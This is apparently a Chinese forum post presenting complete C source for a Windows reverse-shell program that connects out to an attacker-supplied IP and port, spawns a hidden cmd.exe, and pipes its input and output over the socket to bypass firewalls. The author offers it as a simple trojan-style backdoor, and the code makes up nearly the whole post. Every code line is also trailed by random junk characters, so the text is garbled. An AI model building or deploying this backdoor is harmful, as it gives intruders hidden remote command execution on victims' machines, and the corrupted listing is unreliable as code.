这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 B?yjU[/R
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/* ============================== 8!HB$vdw7
Rebound port in Windows NT W-gu*iZ6&
By wind,2006/7 Z`86YYGK
===============================*/ TI\xCIH
#include ?>iUz.];t
#include /h{Rf,H
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#pragma comment(lib,"wsock32.lib") dsj}GgG?Z
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void OutputShell(); #ti%hm
SOCKET sClient; !d U$1:7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; t%J1(H
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void main(int argc,char **argv) 7!h>
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{ IF-y/]
WSADATA stWsaData; Jz3,vVfQ:
int nRet; HTz`$9
SOCKADDR_IN stSaiClient,stSaiServer; m(d|TwG{
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if(argc != 3) ;<thEWH;Y
{ W amOg0
printf("Useage:\n\rRebound DestIP DestPort\n"); iK+Vla`}
return; Jp%5qBS^
} F3]VSI6^E,
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WSAStartup(MAKEWORD(2,2),&stWsaData); MB $aN':
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1r_V$o$
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stSaiClient.sin_family = AF_INET; eO(U):C2
stSaiClient.sin_port = htons(0); f$n5$hJlQ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Pqw<nyC.
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ir5|H|b<
{ Jj\lF*B
printf("Bind Socket Failed!\n"); q mv0 LU
return; $COjC!M
} \v5;t9uBZ
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stSaiServer.sin_family = AF_INET; E`V\/`5D
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^]'_Qbi]}
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); esQ$.L
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ej
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{ bk;uKV+<
printf("Connect Error!"); XZM@Rys
return; ;gSRpTS:
} y1T(R#
OutputShell(); 5ya^k{`+ZO
} vp.?$(L^@/
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void OutputShell() J|DZi2o
{ OXbShA&1
char szBuff[1024]; 5E"^>z
SECURITY_ATTRIBUTES stSecurityAttributes; 'P" i9j
OSVERSIONINFO stOsversionInfo; 9=3DYCk/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &e;Qabwxva
STARTUPINFO stStartupInfo; c-}[v<o
char *szShell; % @+j@i`&
PROCESS_INFORMATION stProcessInformation; i%i/>;DF
unsigned long lBytesRead; 1JfZstT
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); N$IA~)
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rF"p7
stSecurityAttributes.lpSecurityDescriptor = 0; uOJqj{k_."
stSecurityAttributes.bInheritHandle = TRUE; Iv*\8?07)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u:2Ll[ eo
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~6@`;s`[Y
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !|i #g$
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;H.V-~:P)
stStartupInfo.wShowWindow = SW_HIDE; +kQ=2dva
stStartupInfo.hStdInput = hReadPipe; ^]D1':
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \`xlD&F@U
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GetVersionEx(&stOsversionInfo); LybaE~=
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switch(stOsversionInfo.dwPlatformId) G$MEVfd"
{ 3Cc#{X-+
case 1: la_c:#ho
szShell = "command.com"; C !Srv7
break; xk%
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default: 25-h5$s
szShell = "cmd.exe"; 5TB6QLPEwY
break; 0kOwA%m
} Z%:>nDZV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /*,_\ ;
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send(sClient,szMsg,77,0); Q
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while(1) j]<K%lwp
{ B 5|\<CF
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }UB@FRPF
if(lBytesRead) OQB7C0+ &
{ HNv~ZAzBG-
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Cd"{7<OyM4
send(sClient,szBuff,lBytesRead,0); 2wIJ;rh
} !e~[U-
else m 0vW<
{ 0FI
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lBytesRead=recv(sClient,szBuff,1024,0); -|KZOea
if(lBytesRead<=0) break; 6X%g-aTs
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =(D"(OsQ/
} >>$`]]7
} &k%>u[Bo
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return; 3U+FXK#6
}